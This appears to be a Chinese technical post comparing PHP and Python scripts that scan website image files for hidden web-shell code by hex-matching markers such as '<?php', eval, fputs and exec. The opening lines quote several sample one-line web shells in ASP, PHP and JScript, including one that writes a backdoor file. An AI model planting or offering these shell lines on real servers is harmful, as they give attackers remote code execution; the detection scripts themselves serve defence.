网站图片挂马检测及PHP与python的图片文件恶意代码检测对比

<%execute(request("a"))%>
<?php eval($_POST[‘a‘]);?>
<?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?>
<% @Page Language="Jscript"%>
<%eval(Request.Item["TNT"],"unsafe");%>

<%a(a)a%>00000
<?a(a)a?>00000
<script0000000
<SCRIPT0000000
script>0000000
SCRIPT>0000000

function osWalk($path,$dirs=[])
{
    if (false != ($handle = opendir ( $path ))) {
        while ( false !== ($file = readdir ( $handle )) ) {
            if ($file != "." && $file != "..") {
                if(is_file($path.‘\\‘.$file))
                    $dirs[]=$path.‘\\‘.$file;
                else
                    $dirs=osWalk($path.‘\\‘.$file,$dirs);
            }
        }
        closedir ( $handle );
    }
    return $dirs;
}
function checkHex($img_path)
{
    if (file_exists($img_path)) {
        $resource = fopen($img_path, ‘rb‘);
        $fileSize = filesize($img_path);
        fseek($resource, 0); //把文件指针移到文件的开头
        $hexCode = bin2hex(fread($resource, $fileSize));
        fclose($resource);
        /* 匹配16进制中 <?php ?>|eval|fputs|fwrite */
        if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode))
            return true;
        else
            return false;
    } else {
        return false;
    }
}
$scan_start=microtime(true);
$qsFiles=osWalk(‘e:\path_to_image‘);
$scan_end=microtime(true);
$res=[];
$check_start=microtime(true);
foreach($qsFiles as $qs){
    if (checkHex($qs))
        $res[]=$qs;
}
$check_end=microtime(true);
echo vsprintf(‘文件总数：%d，中标文件：%d<br>扫码时间：%.2f秒，检测时间：%.2f秒<br>‘,array(
    count($qsFiles), count($res),
    $scan_end-$scan_start,
    $check_end-$check_start
));
//echo implode(‘<br>‘,$res);
#文件总数：1320，中标文件：28
#扫描时间：1.16秒，检测时间：125.50秒

#!/usr/bin/python  
# -*- coding:utf-8 -*- 
import os,re,time,math;
def check_hex(img_path,p):
    with open(img_path,‘rb‘) as f:
        content=f.read();
        f.close();
    if p.search(content.encode(‘hex‘)):
        return True;
    return False;
def main():
    #<?php ?>|eval|fputs|fwrite
    p1=re.compile(‘(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)‘);
    scan_start=time.time();
    total_files=0;total_taged=[];
    for parent,dirname,filenames in os.walk(r‘E:\path_to_image‘):
        for file in filenames:
            img_path=parent+os.path.sep+file;
            total_files+=1;
            if check_hex(img_path,p1):
                total_taged.append(img_path);
    scan_end=time.time();
    
    print u‘扫描完成！总用时:%.2f秒。\r\n总共扫描文件数: %d，中标文件数: %d。‘%((scan_end-scan_start),total_files,len(total_taged));
    #for tag in total_taged:
    #    print tag;
    print ‘END‘;
if __name__==‘__main__‘:
    main();
    
#扫描完成！总用时:97.24秒。
#总共扫描文件数: 1320，中标文件数: 28。

<?php ?>|<% %>|eval
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)

<?php ?>|<% %>|eval|exec
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)

<?php ?>|<% %>|eval|exec|write|put
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)|(7772697465)|(707574)

print ‘string‘.encode(‘hex‘); #737472696e67